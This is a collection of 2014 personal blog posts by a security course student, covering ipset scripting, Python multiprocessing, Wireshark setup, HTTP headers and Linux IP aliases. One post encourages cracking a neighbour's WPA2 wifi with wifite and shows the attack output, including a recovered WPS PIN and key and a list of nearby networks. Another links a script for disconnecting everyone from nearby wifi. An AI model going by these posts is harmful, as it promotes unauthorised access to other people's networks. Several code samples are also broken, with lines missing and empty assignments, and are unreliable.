  sudo ipset create $name iphash
function append_set(){ 
 ipset flush $name
 ip_list=$(for line in $(echo "$(grep -Ril "http" /etc/apt/ |xargs cat)" |grep http|cut -d":" -f2|cut -d'/' -f3 |sort -u |grep '.'); do host $line;done |grep 'has address' | rev |cut -d' ' -f1 |rev |sort -u)
 for line in $ip_list; do
  ipset -A $name $line
 exit 0

It is only 21 lines. Will see how much code will be in python, next lesson...


At today's lesson, everyone wrote a script on Python. Here's my: 

#!/usr/bin/env python

from subprocess import Popen,PIPE
from urlparse import urlparse
import sys,re,os
import socket

# Name your SET & Global variables
name = 'apt-white'
srv_list = []
srv_ip = []

# Search in '/etc/apt/' directory for files that includes 'http'
p = Popen('grep -Ril http /etc/apt/'.split(' '),stdout=PIPE)
file_list =

# Look inside every file in list and extract every domain-name into list(srv_list)
for one_file in file_list:
   with open(one_file,'r') as f:
      for line in f.readlines():
         line = line.lower()
         line = re.findall(r'(https?://\S+)', line)
         if line:
             parsed = urlparse(line[0])

# Make DNS lookup for every domain-name in set(srv_list), and return list of IP's in list(srv_ip), IGNORING IPv6 addresses (':' not in string)
for srv in set(srv_list):
   srv_ip += list(set([i[-1][0] for i in socket.getaddrinfo(srv, 80) if not ':' in i[-1][0]]))

# Checking if your SET already exists
command = 'ipset list '+name
p = Popen(command.split(' '),stdout=PIPE)
check =

# If not, creating a new one
if not name in check:
   print 'Creating new SET %s' % name
   os.system('ipset create '+name+' iphash')

# If yes, flushing all data in your SET
   print 'Flushing all data in %s' % name
   os.system('ipset flush '+name)

# Appending to the SET all IP addresses we found
for i in set(srv_ip):
   os.system('ipset -A '+name+' '+i)
print '\ndone.'

# Profit! :)

It's a little larger, but also not too big. Only ~35 lines.

Do you know a better way to communicate with shell CLI on Python?

Wednesday, July 30, 2014

Python Multiprocessing global variables

In the beginning, i want to say sorry, if this article will be "messy"...

One day i've noticed, that threading module in python does not working as should be.
Some times it was much slower than in sequential process. Then i learned about GIL (Global Interpreter Lock).

My teacher advised me to use Multiprocessing module.
Fine. It is very simple, just copy/replace:

threading >> multiprocessing
Thread >> Process

That's all! It will work. But how?

In 'Threading' module, threads have shared memory, Threads can manipulate global variables of main thread, instead of multiprocessing module, that runs another subprocess in memory and it does not have shared memory like threading.

For example:
#Threading Example

from threading import Thread

#defining a global variable
mylist = []

def somefunc(a):
    global mylist

def main()
    for i in range(100):
       t = Thread(target=somefunc,args=(i,))

#Multiprocessing Example

from multiprocessing import Process

#defining a global variable
mylist = []

def somefunc(a):
    global mylist

def main()
    for i in range(100):
       t = Process(target=somefunc,args=(i,))

In Threading Example, 'somefunc()' will append to the global 'mylist' variable, instead of Multiprocessing will be empty as it was before.

Solution for this issue came Manager objects of Multiprocessing module.
from multiprocessing import Process,Manager

mylist = Manager.list()

def somefunc(a):

def main()
    for i in range(100):
       t = Process(target=somefunc,args=(i,))

In one hand, this will help, but in another you will get headache. Because, if you add for example KeyboardInterrupt (^C) support, you will get nothing. Manager object will be empty. OK. Maybe my knowledge is not so good, but i've found another solution to manage variables: Callback function.

But before that, let's add some process control. I want to control how many processes running simultaneously:
from multiprocessing import Pool,cpu_count,active_children

mylist = Manager.list()

def somefunc(a):

def main()

    #creating pool of worker processes, for 4 Cores will be 40 processes.
    pool = Pool(processes=cpu_count()*10)
    for i in range(100):

       #start processes asynchronous, without waiting until process ends.
       pool.apply_async(somefunc, (i,))

    #waiting for results of ALL processes
    while len(active_children()) > 1:
In this example, there will be no more than 40 processes running at the same time.

Now, will add the Callback function:
from multiprocessing import Pool,cpu_count,active_children

mylist = []

def somefunc(a):
    a += 1
    return a    

def main()
    def cb(data):
        if data:
           global mylist

    pool = Pool(processes=cpu_count()*10)
    for i in range(100):
       pool.apply_async(somefunc, (i,), callback=cb)
    while len(active_children()) > 1:

Every process will return some data to main process, then will be called callback function, that will manipulate with the data.
For me, callback function is much more easy for use and understand...

Next time will try to tell about successful implementation of KeyboardInterrupt ^C into multiprocessing script. It's another issue.

Monday, July 28, 2014

Wireshark/tshark startup error popup.

Lua: Error during loading: 
dofile has been disabled

If you get this error when you start up wireshark, it means that you trying to run it with root privileges. It may be dangerous.

If you are using lua scripting with Tshark/Wireshark, then it is strongly recommended to change your system to be able to do capturing and analysis without root privileges. Tshark just protects you from running a script (with endless possibilities to mess up your system if programmed badly) with root privileges.

If not, you can just ignore this error message.

To make this error disappear permanently, you should patch this file on line 29:

'disable_lua = false' change it to 'disable_lua = true'
nano /usr/share/wireshark/init.lua

-- Set disable_lua to true to disable Lua support.
disable_lua = true

Someone asked me how to run wireshark without root, here's the solution:
sudo addgroup -system wireshark
sudo chown root:wireshark /usr/bin/dumpcap
sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
sudo usermod -a -G wireshark YOUR_USER_NAME

There is nothing new under the sun ...mainly

I just had an idea, to write in python script that will disconnect every client on Wifi except of me :)

Started to code, got some challenges, google, solutions.. and BOOM. There is nothing new under the sun.

How to kick everyone around you off wifi with Python

coded by DanMcInerney.
Learned a lot from this. Thank you Dan :)

Dummy way to "hack" your neighbour's WIFI

When i've just started my study at CSI course, lot of students were so excited of one program called 'wifite'.
There are too many tools for cracking wifi passwords. It's one of them. 
That day, when i came home, i immediately found that wifite. 
It is written in python, and VERY EASY to use. Just start, choose your target, and press start :)

Interesting, that about 4 years before, i've wrote my own script in bash that does almost the same things :(
I've tried this, and felt like a script kiddie.

What you will need:

1. Wifi network card (USB), most of internal laptop's nics are not supported to inject packets.
2. Install dependencies:
If you want to try and have troubles with installation, use google.
In couple of hours you will get access to WPA encrypted neighbour's AP.

But there was a good thing too. We learned python on the lessons, and i've looked inside the 'wifite' script, there was a lot of useful stuff!

Let's see:

  NUM ESSID                 CH  ENCR  POWER  WPS?  CLIENT
   --- --------------------  --  ----  -----  ----  ------
    1  CoolNet               11  WPA2  66db   wps 
    2  HenP                  11  WPA2  45db   wps 
    3  CIPI                  13  WPA2  43db   wps 
    4  CoolNet2               9  WPA2  40db   wps 
    5  Virus                 11  WPA2  36db   wps 
    6  fani                  11  WPA2  35db   wps 
    7  bbb1950               11  WPA2  33db   wps 
    8  035031801             11  WPA2  30db   wps 
    9  netbox-8845           11  WPA2  29db   wps 
   10  Salon                 11  WPA2  29db    no 
   11  Yeuda                 11  WEP   29db   wps 
   12  niray                 11  WPA2  29db   wps 
   13  Jacob                 11  WEP   29db    no 
   14  Shmueli_Leon          11  WPA2  28db   wps 
   15  gross_zeev 2.4        11  WPA2  27db    no 

 [+] select target numbers (1-15) separated by commas, or 'all': 1

 [+] 1 target selected.

 [0:00:00] initializing WPS PIN attack on CoolNet (F8:1A:67:C8:AB:1E)
 [0:22:47] WPS attack, 357/404 success/ttl, 94.50% complete (3 sec/att)   

 [+] PIN found:     76663919
 [+] WPA key found: testpassword
 [0:08:20] starting wpa handshake capture on "CoolNet"
 [0:00:00] unable to capture handshake in timesent        

 [+] 2 attacks completed:

 [+] 0/2 WPA attacks succeeded
        found CoolNet's WPA key: "testpassword", WPS PIN: 76663919

 [+] quitting  

At this time, cracking WPA2 password with WPS PIN attack took 22 minutes. But another try may take 5 hours. Really it does not matter, we have the time.

Why people spend money on things they don't need???

Really, i don't understand.
I study now on awesome Cyber Security Intelligence course, there are so much interesting things..

But there also some people that will never use these techniques.
Worth of this course is about $6000, and what the hell these people sitting in the class, don't understand anything, slowing down the material, and ADMIT, that they will NEVER work in this specialization.
Sorry, but it's fu**ing $6000! Think first and then do something...  

Sorry about this :)

How to get HTTP HEAD request with Python and Bash.

How to get HTTP HEAD request with Python, and get results? Easy.


>>>import requests
>>>r = requests.get('')

{'alternate-protocol': '80:quic', 'x-xss-protection': '1; mode=block', 'transfer-e
ncoding': 'chunked', 'set-cookie': 'PREF=ID=1f15ab14c12505e8: FF=0:TM=1406501237:L
M=1406501237:S=hHSSoJtgc9dO1MXE; expires=Tue, 26-Jul-2016 22:47:17 GMT; path=/; do, NID=67=D8CbgklOsbelB5ei756y3rTdBBrqAxVON2vpQRxDql2tsw3rq0ANQlc
ndJ8aQ37it9U6ofhaO5xx6wuQOqSX0tHp2QlNREjkwIWtFiXhy_s5L2GLXNKYjE0pkQCs9Fph; expires
=Mon, 26-Jan-2015 22:47:17 GMT; path=/;; HttpOnly', 'expires'
: '-1', 'server': 'gws', 'cache-control': 'private, max-age=0', 'date': 'Sun, 27 J
ul 2014 22:47:17 GMT', 'p3p': 'CP="This is not a P3P policy! See
.com/support/accounts/bin/ for more info."', 'con
tent-type': 'text/html; charset=windows-1255', 'x-frame-options': 'SAMEORIGIN'}

Results depends on parameters you use (follow redirects etc..)
As you can see, type of 'r.headers' is dictionary, so, you can get every value you want by key.
More info: Python Requests: HTTP for Humans


How to get HTTP HEAD with Bash?

$curl --head

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Content-Length: 261
Date: Sun, 27 Jul 2014 22:53:13 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic

More info: 'man curl'

Two ways of setting Multiple IP Addresses on one interface.

I want to talk about secondary IP addresses on interface in Ubuntu.

Threre is two ways of assigning multiple IP addresses on one interface.
Most of people use the first one:

First method of setting multiple IP Addresses on interface:


With root privileges, edit /etc/network/interfaces:
auto eth0
iface eth0 inet static

auto eth0:0
iface eth0:0 inet static

auto eth0:1
iface eth0:1 inet static

Save and restart network service.

You can create up-to 254 aliases on one interface (eth0:X)

The second way to set multiple IP Addresses is to use IP command:

$ip addr add dev eth0
$ip addr add dev eth0
$ip addr add dev eth0
$ip addr add dev eth0 label eth0:0     #you can label it 'label eth0:0'
$ip addr show dev eth0

2: eth0:  mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 28:d2:44:33:d8:a3 brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth0   << this is the primary IP Address
       valid_lft forever preferred_lft forever
    inet scope global secondary eth0            << this is secondary
       valid_lft forever preferred_lft forever
    inet scope global secondary eth0
       valid_lft forever preferred_lft forever
    inet scope global secondary eth0
       valid_lft forever preferred_lft forever
    inet scope global secondary eth0:0          << this with label 'eth0:0'
       valid_lft forever preferred_lft forever
    inet6 fe80::2ad2:44ff:fe33:a459/64 scope link 
       valid_lft forever preferred_lft forever

As you can see, in 'ifconfig' output, there is no addresses without label. Only one labeled 'eth0:0'

eth0      Link encap:Ethernet  HWaddr 28:d2:44:33:a4:59  
          inet addr:  Bcast:  Mask:
          RX packets:48726 errors:0 dropped:0 overruns:0 frame:0
          TX packets:30127 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:40392826 (40.3 MB)  TX bytes:4955907 (4.9 MB)

eth0:0    Link encap:Ethernet  HWaddr 28:d2:44:33:a4:59           << only labelled is shown. 
          inet addr:  Bcast:  Mask:

Want more?
Get it. it's free: 
Linux Advanced Routing & Traffic Control HOWTO